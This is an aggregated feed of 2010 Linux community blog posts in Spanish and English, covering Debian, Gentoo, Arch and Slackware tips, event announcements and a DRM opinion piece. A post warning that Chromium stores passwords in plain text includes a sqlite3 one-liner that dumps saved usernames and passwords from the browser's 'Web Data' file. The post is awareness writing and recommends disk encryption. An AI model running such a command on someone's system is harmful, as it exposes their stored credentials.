Sep 06, 2010

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Filtro para bloquear direciones en Opera

Opera puede bloquear ciertas partes de los sitios que uno ve, presionando sobre la pagina el boton derecho y eligiendo "Block content" anuncios porno por ejemplo o algun archivo flash. Pero tambien se puede crear una lista detallada de varios sitios, eso es lo han hecho aqui:

http://www.fanboy.co.nz/adblock/opera/urlfilter.ini

Tiene varias listas de correo: http://www.fanboy.co.nz/adblock/opera/ para colaborar con los elementos bloqueados.
William Díaz

William Díaz
LEPROSYS feed

Overlay para mejor fuentes: lcd-filtering

Ya he publicado dos entradas acerca de como mejor las fuentes, ahora les hago la recomendación de probar el overlay lcd-filtering.
En el overlay hay pocos ebuilds pero los necesarios para que las fuentes se vean mejor, deben de habilitar la USEFLAG lcdfilter o cleartype, yo prefiero lcdfilter que contiene los parches de ubuntu.

El repositorio se encuentra en: gitorious.org

Recomiendo seguir los hilos en el foro de gentoo acerca de como mejorar las fuentes.
[HOWTO]Freetype subpixel font rendering - lcd monitors Pt 2

La selección de opciones de configuraciones de fuentes la tengo de la siguiente manera:

Para agregar el repositorio a layma, lo pueden hacer de la siguiente forma:

wget http://gitorious.org/lcd-filtering/lcd-filtering/blobs/master/profiles/lcd-filtering.xml -O /var/lib/layman/lcd-filtering.xml

Y luego de agregar a nuestro make.conf la siguiente linea, si aún no la tenemos:

source /var/lib/layman/make.conf

Agregamos el overlay a /etc/layman/layman.cfg

overlays  : http://www.gentoo.org/proj/en/overlays/repositories.xml
            file:///var/lib/layman/lcd-filtering.xml

Por ultimo agregamos el repositorio con layman:
layman -a lcd-filtering

Sep 03, 2010

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Debian 7 has a name ‘wheezy’

Wheezy

Wheezy

This day I read, via the Debian Devel announce list, that the next version of Debian already has a name, and will be “wheezy

Debian rocks!! :D

Entradas relacionadas

Aug 31, 2010

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Debian Involvement

I began my journey into the world of Debian approximately 2 years ago ( I’m not very good at remembering dates :( ) from the start one of my main objectives is to collaborate with the project and not simply be a standard user, the best way to do it is to keep packages (starting from the point that my work is to develop applications and edit code is what I do day to day).
But I never decided to take the plunge and adopt a package, until I decided that was the right time, already had some knowledge of Debian packaging, I had read Debian New Maintainers’ Guide and Debian Developer’s Reference. Unfortunately when I decided to do so and already had everything ready to find a mentor, Debian enters the freezing stage, in this state no packets are uploaded to unstable unless they are to fix a RC bug :(

So I have to wait until the release of squeeze and some mentor have mercy of my soul and upload packages for me :D

This is my first step in the process of becoming a Debian Developer, so I hope to share the progress

Cheers!!

Entradas relacionadas

Aug 27, 2010

William Díaz

William Díaz
LEPROSYS feed

Leprosys conky configuración 0.01


Como el titulo dice son mis configuraciones de conky, las comparto para que así los que me las piden tenga donde bajarlas, debo decir que me falta mejorar la configuración ya que la cree en un día y que me he basado en el trabajo de otras configuraciones como conky colors y conky royalty.
* Es posible que si no utilizan MPD no les sirve esa instancia y que la configuración del sistema esta echa para un procesador de 2 núcleos como se ve en la imagen.
* Es requisito tener instalado ConkyForecast para ver las condiciones climáticas.

La próxima versión mejorare varias cosas por el momento esto es todo.
Comentarios son bienvenidos.

Aug 23, 2010

William Díaz

William Díaz
LEPROSYS feed

Teleton #ayudame a hacer el SFD El Salvador


Saludos lectores, muchos sabrán acerca del SFD que tiene lugar todos los años en muchos paises, pues ya que siempre estamos con bajos recursos económicos pero también de colaboración, necesitamos quienes nos patrocinen o los que quieran colaborar de cualquier manera posible pueda hacerlo por medio de SLSV que sera el organizador del evento, el día 18 septiembre en el Auditorio del Laboratorio Central "Max Bloch" mas info...

La manera mas efectiva de colaborar es escribiendo a la lista de correos de SLSV y decir en que consistirá su colaboración.

Aug 20, 2010

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

Mandriva Anarquia y Comunitarismo


Fondo de pantalla basado en: http://volodiaa.deviantart.com/art/MandrivA-54415892

Aug 17, 2010

Drake Dalfa

Drake Dalfa
[dalfa@b4sh ~]$ feed

YouTube: Java contra .net

Increíblemente gracioso, aunque ahora mismo con Oracle y Java asaber como iran a terminar las cosas.


<object height="340" width="560"><param name="movie" value="http://www.youtube.com/v/H7QVITAWdBQ?fs=1&amp;hl=es_ES"><param name="allowFullScreen" value="true"><param name="allowscriptaccess" value="always"><embed allowfullscreen="true" allowscriptaccess="always" height="340" src="http://www.youtube.com/v/H7QVITAWdBQ?fs=1&amp;hl=es_ES" type="application/x-shockwave-flash" width="560"></embed></object>

Aug 10, 2010

Francisco Rivera

Francisco Rivera
El rincon de Cisko feed

Debian day!

Un año mas de nuestro querido Debian se acerca (16 de Agosto) y se extiende la invitación para celebrarlo este sabado 14 de Agosto en la UES, por ahi nos vemos!!!

Debian Day 2010

Para celebrar otro cumpleanios del natalicio de Debian GNU/Linux, este sabado nos reuniremos en la Universidad Nacional para hablar un poco sobre el proyecto y la comunidad en nuestro pais.

Cordialmente invitados

Aug 07, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

lxmusic in portage

I have just made the initial commit of media-sound/lxmusic , one of the few relatives of the lxde family still missing in Gentoo land.

For everyone who doesn't know, lxmusic is a very simple frontend for the (in)famous xmms2 which was also recently added into the tree thanks to the effort of many people.

For everyone merging lxmusic who doesn't want to build dev-libs/boost as a dependency (myself included), make sure to set the -cxx use flag in media-sound/xmms2.

Aug 05, 2010

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Usando slackware...



slackware... una excelente distro :D
Tal vez su unico punto  en contra es que no posee un "gestor de paquetes", pero lo compensa con los slackbuilds, son bastante utiles, lo bueno es que ya no me preocupo por las actualizaciones, "actualizo" cuando quiero xD.

Jul 31, 2010

Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Aumentar el tamaño del cache de APT (Please increase the size of APT::Cache-Limit)

Para solucionar este inconveniente es simple, en consola y como root: nano /etc/apt/apt.conf.d/70debconf Una vez dentro agregamos la linea de nuestro nuevo limite de memoria, yo le daré 30m ustedes pueden aumentarlo si quieren: APT::Cache-Limit “300000000″; Finalmente guardamos con control+o y salimos con control+z, recuerden que para limpiar (Borrar sus paquetes descargados) su cache de paquetes siempre [...]


Jul 28, 2010

Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Instalar MySQL en Debian/Ubuntu

Este ciclo me toco hacer un proyecto para la U donde se requeria tener corriendo un servidor MySQL en Linux, eso es muy sencillo como root o usando sudo: su TuPasswordRoot Primero instalamos lo necesario el servidor mas el cliente de MySQL apt-get install mysql-server mysql-client Asignamos el password de root para el servidor MySQL [...]


Jose Castaneda

Jose Castaneda
TecnoAmigo Blog feed

Instalar Python 2.6.4 en Debian Lenny

Abrimos una consola o terminal para descargar python: wget http://python.org/ftp/python/2.6.4/Python-2.6.4.tgz tar -xvzf Python-2.6.4.tgz cd Python-2.6.4 ./configure –with-threads –enable-shared Ahora nos logeamos como root: su TuPasW0RD Siempre en consola y como root: make make install Para finalizar si obtienen un error de falta de la libreria libpython la solucion es crear los enlazes simbolicos de nuestro [...]


Compiz en Debian Lenny

Bueno, hoy andaba con ganas de ver mi desktop con efectos compiz. busque en internet y encontre este wiki con los pasos a seguir. Yo no cambie settings en el xorg.conf pero talvez por eso el refreshing lo siento algo buggy. Este link al post. Vivos :D

Limitar el ancho de banda de apt-get

Ya que en la oficina donde estoy trabaJando, el ancho de banda es muy limitado (quizas todos están viendo el partido en flash), decidí investigar como limitar el ancho de banda de nuestro querido apt-get. Encontré el este post entre otros. es así: sudo apt-get -o Acquire::http::Dl-Limit=30 upgrade Omitan el sudo si no lo ...

Modem Alcatel Open Touch X060A USB Modem Tigo Honduras Debian Lenny

El fin de semana adquirí un Modem Alcatel distribuido por Tigo, pregunté en el canal y me dieron una pagina de una lista de la UES. http://linux.ues.edu.sv/pipermail/gul/2009-October/003494.html y tambien usé http://www.draisberghof.de/usb_modeswitch/ que es donde estaba el driver más nuevo. Luego seguí estos pasos msamour@kodiak:~/opt/modem$ wget http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-1.1.0.tar.bz2 --2010-01-25 14:27:29-- http://www.draisberghof.de/usb_modeswitch/usb-modeswitch-1.1.0.tar.bz2 Resolving www.draisberghof.de... 194.0.247.207 Connecting to www.draisberghof.de|194.0.247.207|:80... connected. HTTP request ...

Jul 21, 2010

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Administración de impresores en linux (Debian mi caso)

Hace un par de días postie algo sobre la configuración de una impresora en linux
y muchos amigos windowseros me dijeron que los sistemas unix/linux es un dolor
de cabeza administrar algo como printers.
Así que por ahí les dejo un par de capturas de mi pantalla administrando un impresor
en linux con CUPS, que por cierto es superior a win2 hasta en la paguina de prueba....XD


Jul 12, 2010

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Instalar Canon IP2700 en Debian Lenny.

El día de hoy compre un printer canon ip2700 y como soy usuario Debian me di la tarea de hacerlo andar
en mi querida distro.

primero que nada nos bajamos los drivers del siguiente link.

con el archivo descargado, lo extraemos y buscamos dentro de la carpeta extraída una carpeta llamada
packages e instalamos los dos archivos que ahí se encuentran los dos son .deb.

instalacion desde la consola.

# dpkg -i cnijfilter-common_3.30-1_i386.deb
# dpkg -i cnijfilter-ip2700series_3.30-1_i386.deb

conectamos la impresora y la encendemos y esta lista para imprimir, si ya la habías encendido antes
y el sistema te la reconoció tendrás que eliminarla y apagar el printer y volverlo a encender.

para eliminar el printer sistema--Administración--imprimiendo. y ahí se elimina

para probar el printer desde Cups abrimos nuestro navegador preferido y en el URL escribimos
localhost:631 click en impresoras y después click en imprimir pagina de prueba. Entones tendremos
una verdadera pagina de prueba de impresión, no como la pobre pagina que muestra win2.

espero que a alguien le sirva...

Gustavo Burgos (gnburgos)


Jul 01, 2010

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

Cambiando el esquema de colores del vim (Archlinux)




El archivo de configuracion en archlinux se encuentra en: 
/usr/share/vim/vimfiles/archlinux.vim
Luego en ese archivo añadimos al final lo siguiente:
syntax on

colorscheme "nombre del esquema de colores"

Los esquemas de colores se encuentran en el directorio:
/usr/share/vim/vim72/colors/

Al final el archivo tendria que quedarnos parecido a:





En el la carpeta donde estan los esquemas de colores, hay unos cuantos pero de todos modos aqui dejo unas cuantos :)


C:

http://vimcolorschemetest.googlecode.com/svn/html/index-c.html

HTML:

http://vimcolorschemetest.googlecode.com/svn/html/index-html.html

Java:

http://vimcolorschemetest.googlecode.com/svn/html/index-java.html



... espero que le sea util a alguien :)

Jun 25, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

Hi Planet Gentoo!

Well, I am not exactly new in the developer world of Gentoo, to be honest I've been a developer for almost a year now.

For all who doesn't know, I started working at Gentoo  with maintainer-needed packages, but I started helping treecleaners and get so much interest in LXDE, as I use it in my netbook.

Lately, I've been working with Samba, which has been mostly cared by Patrick Lauer, and thanks to him we all have a stable samba 3.4 version. I am looking forward to bring fixes to the 3.5.x series and all your bug reports, comments, and patches are welcomed of course! :) .

Jun 17, 2010

David Mejia

David Mejia
DAMR.NET » linux feed

Ubuntu es Más Seguro que Windows…

Ubuntu Dell

No lo decimos nosotros, lo dice Dell

Ubuntu is Safer Than Windows

Así que vale la pena comprar una Dell con Ubuntu instalado no creen? Por mayor seguridad.

(vía Y Que jé?)

Jun 06, 2010

Raul Alejandro Ascencio Trejo

Raul Alejandro Ascencio Trejo
R_Ascencio feed

"Mi archlinux desktop"


May 20, 2010

Gustavo Burgos

Gustavo Burgos
Debian Tavo feed

Tarjeta de Audio CMI8738 en Debian Lenny

Después de un pequeño problemon que tuve con mi Desktop en el cual termino jodida mi tarjeta
de Audio que viene integrada en la motherboard. Buscando en un pequeño basurero que tengo
de cosas que uno piensa que son inutilizables encontré a la CMI8738 que es la que me saco de
aguas.
Bueno como era de esperar trabaja con alsa así que les muestro la simple configuración.

#alsaconf

Seleccionar la tarjeta a configurar.







Espero que a alguien le sirva .

Gustavo Burgos (gnburgos)










May 19, 2010

Williams Belman Orellana Portillo

Williams Belman Orellana Portillo
Williams Orellana's Blog » Linux feed

Contraseñas almacenadas en Chromium

ChromiumUna característica que usaba en firefox era la de proteger las contraseñas con una «contraseña maestra», cuando se activa esta característica firefox se encarga de encriptar todas las contraseñas almacenadas en el disco, y firefox pregunta por la contraseña maestra cuando necesita acceder a las contraseñas almacenadas. Cuando no se utiliza el navegador las contraseñas están seguras. Aun así hay herramientas para obtener la contraseña maestra de firefox por la «fuerza bruta», pero si tienes una contraseña lo suficientemente robusta no tendrías por que preocuparte :) para mas información (en ingles) mira http://kb.mozillazine.org/Master_password.

A que viene todo esto?, pues desde hace ya varios días decidí cambiar de navegador, por lo que ahora utilizo Chromium, si tu también lo utilizas habrás notado que carece de la característica  que mencionaba anteriormente de firefox, en esencia las contraseñas son almacenadas en  una base de datos de sqlite en ‘~/.config/chromium/Default/Web Data’, mostrar las contraseñas es increíblemente fácil (estoy usando Chromium 5.0.342.9~r43360-0ubuntu2 en Ubuntu 10.04 LTS)

1
 $ echo 'SELECT username_value, password_value FROM logins;' | sqlite3 ~/.config/chromium/Default/Web\ Data | grep -v '^|$'

Como puedes ver las contraseñas son almacenadas en texto plano (aunque el directorio ~/.config/chromium tiene permisos 0700). Desconosco el por que esta funcion no se ha implementado, es un bug? podría ser, pero esta claro que:

  • Google no solucionará este problema en corto plazo.
  • Se necesita una forma de protegerse.
Personalmente recomendaría a los usuarios de chromium encriptar los datos usando eCryptfs o LUKS, en ubuntu puedes:
  • Configurar un cifrado completo del disco con LUKS usando el instalador alternativo.
  • Configurar la carpeta personal encriptada (o migrar una carpeta personal usando ‘ecryptfs-migrate-home’).
  • Configurar una carpeta personal encriptada usando ‘ecryptfs-setup-private’ (si decides hacer esto, querras mover los directorios ~/.config/chromium y ~/.cache/chromium al directorio encriptado y usar enlaces simbólicos para hacer referencia a ellos)
Espero que esta información les resulte útil (o al menos estar un poco mas alerta :P )

Entradas relacionadas

May 11, 2010

Victor Ostorga

Victor Ostorga
vostorga.org » linux feed

/etc/fstab y UUID

Regularmente se especifica en el archivo fstab nombres de dispositivo como /dev/sdb1 tal como en el siguiente ejemplo:

/dev/sdb1        /media/storage        ntfs-3g       defaults        0 1

Esto no es nada nuevo para muchos, pero puede suceder la ocasión en la cual queramos que un dispositivo se monte en una ubicación especial siempre, pero el nombre del dispositivo /dev/sdb1 del ejemplo anterior podría cambiar por ejemplo si se tratara de un dispositivo USB, o de si las galaxias están alineadas o si hace luna llena.

Bueno, en este caso podemos utilizar el UUID (Universally Unique Identifier) el cual identifica a cada sistema de archivos de un disco y hace que el nombre del dispositivo sea irrelevante al momento de montarse.

Obteniendo el uuid

Un par de formas de obtenerlo:

# ls -l /dev/disk/by-uuid/
total 0
lrwxrwxrwx 1 root root 10 May  5 02:38 07D4-0918 -> ../../sda1
lrwxrwxrwx 1 root root 10 May  5 02:38 1501c1df-798c-4359-a100-37c97f426269 -> ../../sdb2
lrwxrwxrwx 1 root root 10 May  5 02:38 1cd538b0-c4da-4280-a485-c0324066832f -> ../../sda5
lrwxrwxrwx 1 root root 10 May  5 02:38 25b9f76e-0d99-4c6d-b441-4a4a879ff049 -> ../../sda3
lrwxrwxrwx 1 root root 10 May  5 02:38 9E88682C886804DD -> ../../sdb1
lrwxrwxrwx 1 root root 10 May  5 02:38 D8701AD2701AB6EA -> ../../sda2

# blkid
/dev/sda1: SEC_TYPE="msdos" LABEL="DellUtility" UUID="07D4-0918" TYPE="vfat"
/dev/sda2: UUID="D8701AD2701AB6EA" LABEL="winxp" TYPE="ntfs"
/dev/sda3: UUID="25b9f76e-0d99-4c6d-b441-4a4a879ff049" TYPE="ext3"
/dev/sda5: UUID="1cd538b0-c4da-4280-a485-c0324066832f" TYPE="swap"
/dev/sdb1: UUID="9E88682C886804DD" LABEL="storage" TYPE="ntfs"
/dev/sdb2: UUID="1501c1df-798c-4359-a100-37c97f426269" TYPE="ext3

Ahora con el uuid en mano, procedemos a modificar nuestro fstab:

UUID=9E88682C886804DD        /media/storage       ntfs-3g        defaults       0 1

Y listo, no dependemos del nombre del dispositivo para montarlo!

Nota: El uso del UUID NO lo inventó Ubuntu

May 03, 2010

No le compro nada a las discográficas a menos que: (post sobre dia sin DRM)

Bueno vengo no en el plan de recordar progenitoras en este post como muchos hacen al hablar del DRM (Digital Right Management), sino que vere el problema estilo comunidad (proponer ademas de criticar).

Pregunta importante: por que la gente piratea?

Pues puede ser por muchas razones, la predominante en este pais es la falta de recursos para gastar en medios “originales” aqui el salario minimo apenas sobrepasa los $100 y un solo cd valiendo entre $10 y $20 esta llevandose mas del 10% del sueldo de un trabajador promedio, las peliculas casi lo mismo y para colmo son compras ciegas no se sabe la calidad de la compra hasta que se pone en un reproductor (y el comprador tiene la tentacion de lanzar el cd por la ventana como si fuera de win2 vista) la salvacion aqui es que es legal descargar y quemar música siempre y cuando no se venda (derecho de copia privada).

Con los juegos la razon es ademas de economica la cultura salvadoreña de compartir toda obra digital que cae en nuestras manos y por la misma gana de la gente de hacer negocio con cualquier medio digital (aplica a todo).

Como puede verse los modelos de negocio antiguos aqui no funcionan, y lo peor que se puede hacer es bajar la calidad de los contenidos vendidos poniendoles DRM, llenando de anuncios desmoralizantes sobre la “piratería” que la compara con robos de autos y carteras o advertencias que son casi amenazas con logos del FBI.

Cuando por paranoia o por pensar que todos los usuarios que no les pagamos por sus contenidos somos unos criminales BAJAN DRASTICAMENTE LA CALIDAD DE SUS PRODUCTOS cuando les ponen DRM, ejemplo:

DVD pirata vs Original (eng)
Audiolibro con DRM vs audiolibro descagado de p2p

Por eso aqui van las

Propuestas libres de tuxwarrior

1) Para los juegos: Regalen promocionales o coleccionables con los juegos originales y den gratis la membresía al que los compro si es un juego online, diganme quien no comprara un juego de Super Mario que traiga un muñeco del personaje  o un tomb raider con un poster en alta resolucion de Lara Croft (‘¬’), asi los que consigan copias “no autorizadas” (piratear es robar barcos) solo tendran un juego.

2) Para las peliculas: Quiten esa cantidad enorme de trailers y anuncios espameros, en el cine estan bien, dan tiempo de esperar a tu novia que fue al baño antes de empezar, pero en la casa dan ganas de pegarle una patada al televisor, y los anuncios del FBI lo unico que hacen es pre-criminalizar al que si pago por la pelicula (y simplemente dejen titulos para descarga gratis que incluyan los anuncios y todo lo demas en calidad estandar si quieren).

3) Música: poner DRM en la música es la peor estupides que pueden hacer con un cliente que les pago, ahora la misma persona puede tener 3 o 4 dispositivos donde querra tener una copia de su canción o album (ipod o mp3 player, pc,car audio, celular) y no tolerara comprar una pista o un cd que venga con anti copia y que no le deje ripear el cd, o copiar la canción de un dispositivo a otro o quemarla, hay estudios que muestran que la musica sin DRM se vende mucho mejor que la con DRM, y como segunda propuesta los discos deberían bajar su precio a algo mas manejable por el cliente de pais no desarrollado (con $3 por un original creo que es manejable) ademas de quitar las restricciones de region para la venta de música en línea (por que demonios no podemos comprar música que salio en holanda o en japon por ejemplo, que nos quieren condenar a oir solo regueton acaso???).

4) Ebooks: La información debe ser difundida, la gente tiene derecho a conocer mas, y hacer que solo se pueda estudiar sobre un tema pagando mucho dinero se crea una enorme discriminacion, los ebooks son solo una forma mas de presentar un escrito, ponerles DRM es un golpe bajo a la persona que lo compro y a la que lo escribio, una forma de distribuirlos sería: venderlo a un precio razon able si no queda de otra, dar gratis el ebook si se tiene el impreso, y soltar algunas obras para libre descarga despues de cierto tiempo. tanto les cuesta eso?

Para terminar declaro mi rotundo rechazo a la implementación de DRM en todos los tipos de medio digital.


Apr 04, 2010

GPG Key Transition

Por razones de seguridad y aprovechando la reciente fiesta de firmado de llaves en el mini DebConf 2010 en Panama, decidi crear una nueva llave, por lo que estoy realizando la transicion respectiva.

La antigua llave continuara valida por un tiempo y preferiria correspondencia a la nueva llave.

Este mensaje tambien se encuentra disponible y firmado por ambas llaves para certificar la transicion.

La vieja llave era:

pub   1024D/1F8C587D 2006-05-28
Huella de clave = B93A 3A23 770F 0F11 BC25  05CF 3EB2 2DDB 1F8C 587D

Y la nueva llave es:

pub   2048R/28DB5743 2010-03-20 [caduca: 2011-03-20]
Huella de clave = FC2A 2005 A01D 9280 E61E  3B9F 616F 2A04 28DB 5743

Para obtener la nueva llave:

wget -q -O- http://gente.debian.org.sv/~emonge/emonge.gpg | gpg –import -

O desde un servidor publico:

gpg –keyserver pgp.mit.edu –recv-key 28DB5743

Si tu ya conoces mi antigua llave, puedes verificar que la nueva llave esta firmada por la antigua:

gpg –check-sigs 28DB5743

Si eres un tanto _paranoico_, puedes verificar nuevamente la huella digital:

gpg –fingerprint 28DB5743

Si todos los argumentos son de tu completa satisfaccion te agradeceria firmaras mi nueva llave:

gpg –sign-key 28DB5743

Y finalmente apreciaria mucho que me enviaras un mail con las nuevas firmas o las publicaras directamente en un servidor de llaves:

gpg –keyserver pgp.mit.edu –send-key 28DB5743

Gracias por el tiempo y las disculpas por los inconvenientes.

Apr 02, 2010

Debian codenames

De todos es sabido, que Debian utiliza nombres de personajes de la película Toy Story para los «codenames» de sus distribuciones, y pues es lógico preguntarnos que pasará cuando estos nombres se acaben. Seguramente algo sucederá, quiza en un futuro, los nombres serán generados por algoritmos aleatorios usando como diccionario los nombres de los paquetes o cualquier otra cosa, pero mientras tanto quiero imaginarme de cuanto tiempo disponemos para leer los nombres de la pelicula en las distribuciones de Debian.

Bueno,lo primero es investigar la cantidad de nombres de personajes de las películas incluyendo juguetes y personas.

Este articulo de la Wikipedia, me permite contabilizar al menos 50 personajes, de los cuales 12 ya fueron utilizados o estan siendo utilizados por alguna distribución. Por lo que se disponen de 38 nombres aun hasta Toy Story 2. Pero considerando el próximo lanzamiento de la tercera parte de la película, se aumentan en 12 los nuevos juguetes en escena segun el sitio oficial de Disney

Asumiendo que Debian utilizará un nombre por año, para el 2061 nuestros nietos estarán utilizando algo como Debian «Chunk», Debian «Sparks» o Debian «Twitch»

Feb 02, 2010

Salvador Osorio

Salvador Osorio
Casos y Cosas feed

problemas con llaves (claves) publicas en debian lenny NO_PUBKEY

Cuando queremos actualizar nuestros repositorios con el bien conocidoapt-get updateY no tenemos las claves públicas de los repositorios beryl o debian-multimedia, por ejemplo, nos aparecerá el siguiente mensaje:#Leyendo lista de paquetes... Hecho#W: GPG error: http://debian.beryl-project.org etch Release: Las firmas siguientes no se pudieron verificar porque su llave pública no está disponible:
Salvador Osorio

Salvador Osorio
Casos y Cosas feed

montando discos duros externos usb con particionamiento ntfs en debian lenny

Bueno no hay que hacer la gran cosa El disco duro externo que tengo es un my book WD que se conecta via usb, la primera vez que lo conecte solo aparecieron 644MB y la razon es que viene formateado con una particion ntfsroot@ns:/home/salvador# df -hS.ficheros Tamaño Usado Disp Uso% Montado en/dev/sda1 11G 7.0G 3.1G 70% /tmpfs 1010M 8.0K 1010M 1% /lib/

Jan 25, 2010

Montando Reportbug

Una de las cosas por las que la comunidad del software libre es conocida es por la importancia del trabajo comunitario, es decir si los usuarios creen que los developers o los que manejan cierto software la estan cagando reportan la queja, ya sea una
vulnerabilidad, un programa que se truena (crash) o simplemente quieren dar una sugerencia de alguna caracteristica que podría ser útil a otros usuarios (o al que lo reporto).

En la comunidad debian usamos un programa que sirve para eso, para reportar problemas en nuestra distro y ayudar a hacerla mas estable, este programa se llama Reporbug.

Este busca la información del paquete que presento problema o al que le pedimos caracteristicas nuevas para tener un reporte detallado y sobre todo “útil y legible para el desarrollador”.

Lo que necesitamos:

-Un sistema debian o derivado
-Reportbug (instalado por default en la mayoría)
-un MTA o servidor de correo (msmtp solo configuracion de usuario)(opcional)

Configurando reportbug

a) inicio, nivel de experiencia en Debian
Primero buscamos una aplicacion que nos esta dando problemas, luego damos el comando reportbug en la consola (para gnome ya hay un reportbug gráfico, para los que usan squeeze esta reportbug-ng también gráfico):

$ reportbug

Y nos aparecerá este mensaje:

Welcome to reportbug! Since it looks like this is the first time you have used reportbug,
we are configuring its behavior. These settings will be saved to the file "/home/user/.reportbugrc",
which you will be free to edit further.
Please choose the default operating mode for reportbug.

1 novice Offer simple prompts, bypassing technical questions.

2 standard Offer more extensive prompts, including asking about things that a
 moderately sophisticated user would be expected to know about Debian.

3 advanced Like standard, but assumes you know a bit more about Debian, including "incoming".

4 expert Bypass most handholding measures and preliminary triage routines.
This mode should not be used by people unfamiliar with Debian's policies and operating procedures.

Select mode: [novice]

Aqui dice:
“Bienvenido a reportbug!, Como parece ser esta la primera vez que usas reportbug configuraremos primero su comportamiento. Estas opciones se guardaran en /home/user/.reportbugrc, el cual tienes toda la libertad de modificar despues, elige el comportamiento predeterminado de operación para reportbug:

1 novato Ofrece preguntas simples omitiendo lo mas técnico

2 estandar Ofrece preguntas un poco mas extensas, incluyendo cosas sofisticadas, se espera que el usuario sepa sobre Debian

3 avanzado igual que estandar, pero asume que sabes un poco mas sobre Debian

4 experto Omite la mayoría de las medidas y las rutinas preliminares de pregunta. Este modo no debe ser usado por gente no familiarizada con las politicas y procedimientos de Debian”

Aqui elegiremos novato (si soy novato también) dando enter, si tenemos gnome nos preguntará si queremos interfaz gráfica o interfaz de texto, no es la gran diferencia, pero si te sientes mas cómodo/a con un entorno gráfico elígelo.

b) ¿Tienes acceso a internet?
Despues aparecerá la siguiente pregunta:

Will reportbug often have direct Internet access? (You should answer yes to this question unless you know what you are doing and
plan to check whether duplicate reports have been filed via some other channel.) [Y|n|q|?]?

Aqui dice: “¿Tendrá reportbug acceso directo a internet? (Deberías decir que si a esta pregunta, a menos que sepas lo que haces y planeas revisar si hay reportes duplicados por otro medio) “, si tienes internet lo mejor será poner si (enter), en caso de que no tengas internet (y este how-to lo has impreso) responde que no (n).

c) Identidad
Luego preguntará con que nombre pondrás el reporte de bug (tu nombre completo), será para ser reconocido entre la comunidad Debian (y para que un developer cerca de ti queme tu casa por darle mas trabajo XD).

Luego preguntará tu correo electrónico (sera de conocimiento público asi que buscate uno con buen filtro anti-spam).

d) ¿Has configurado el servidor de correo? Preguntará si tienen instalado un MTA, entro en modo cultural aqui:

(tuxwarrior se pone lentes de fondo de botella y se peina el pelo con la lengua de una vaca y 10 litros de gel)


MTA o Mail Transfer Agent es lo que conocemos todos como un “Servidor de correo”, o el software encargado de enviar o “transferir” correos hacia otras computadoras a traves de la red (ver definicion en Wikipedia: MTA), por favor no confundir con esos programas que usamos para enviar flames a listas de correo o cadenas a nuestros familiares XD, el thunderbird, evolution y todos esos son clientes de correo o MUA (Mail User Agent) tampoco ponemos aqui a los servicios de WebMail como gmail y hotmail.

Saliendo del modo cultural si tenemos instalado y configurado un servidor de correos el bug se enviará directo desde el reportbug, la mayoría de usuarios normales no tiene uno configurado (aunque si instalado), asi que responderán que no, (al final de este post pongo como montar un MTA sencillo solo para un usuario).

e) Final, Proxy y última indicación
Preguntará si se tiene un proxy en la red, en caso de existir hay que poner la dirección o la IP de esta forma: “http://192.168.1.1:puerto/” cambiando la IP por el dominio o la IP de tu proxy y el puerto por el puerto default para el proxy, si no hay proxy entonces dejar en blanco.

Ahora ya terminamos con la configuración inicial de reportbug, ahora a llenar un reporte:

Reportando un bug

Primero hay que saber que es un bug por definicion: “Un defecto de software (computer bug en inglés), es el resultado de un fallo o deficiencia durante el proceso de creación de programas de ordenador o computadora (software). Dicho fallo puede presentarse en cualquiera de las etapas del ciclo de vida del software aunque los más evidentes se dan en la etapa de desarrollo y programación. Los errores pueden suceder en cualquier etapa de la creación de software” fuente Wikipedia:bug.

Antes de llenar nuestro reporte recomiendo leer las buenas prácticas para enviar reportes de bug efectivos aqui

Encuentro un bug
Si alguna aplicación se porta extraño, se traba, usa demasiada memoria para algo muy simple o sin explicacion alguna “Truena“.

Entonces llenamos un reporte de bug de esta manera:

$ reportbug

Llenando el bug
Primero nos preguntará el nombre del paquete afectado, para saber como se llama el paquete del cual viene nuestra aplicacion problemática usamos aptitude:

$ aptitude search amarok
i amarok - easy to use media player based on the KDE Platform

en este caso vemos que el paquete al que pertenece amarok se llama “amarok”, algunos otros son mas engañosos como “epiphany-browser” ya que solo “epiphany” es el paquete de un juego que se llama igual al navegador.
El paquete debe estar instalado, no debemos mandar bugs sobre software que no tenemos.

Luego saldrá una lista de bugs que ya se enviaron sobre ese paquete (pueden ser muchísimos), por favor revisen todos los que mencionen algo sobre el mismo problema si el bug ya lo envió otra persona entonces solo revisemos si tenemos datos para aportar al bug, pero no lo enviemos de nuevo, es redundante y una pérdida de tiempo enviar bugs duplicados.

Si el bug no existe o no se ha reportado entonces nosotros debemos reportarlo y aportar la mayor cantidad de información útil sobre el bug en ingles (la mayoría de los developers son angloparlantes).

Luego nos pedirá una descripción sencilla del bug.

Luego determinamos la gravedad del bug, que puede ser:
1-Critical: hace que otros programas no relacionado en el sistema (o el propio sistema) dejen de funcionar o lo hagan erroneamente

2-Grave: hace al paquete inservible para la mayoría de usuarios o causa pérdida de datos, o inserta un hoyo de seguridad que permite el acceso a las cuentas de usuarios que usen el paquete.

3-Serious: Viola severamente alguna convención de las politicas de Debian sobre paquetes o la libertad de estos (solo developers y mantainers deben usar este).

4-Important: El bug tiene un impacto importante en la usabilidad del paquete, pero no lo hace completamente inservible para todos los usuarios

5-Does not build: No compila (developers o gente que compila las fuentes de debian para cualquier propósito)

6-normal: como el nombre lo dice es lo que normalmente encontraremos, una opcion, acción o entrada hara que el programa truene, sin que el programa sea totalmente inservible

7-minor: Fallos cosméticos, como por ejemplo una palabra mal escrita, ayuda no útil, un boton no funciona o se porta extraño.

8- wishlist: sugerencias o peticiones de carácteristicas nuevas (posibles y útiles).

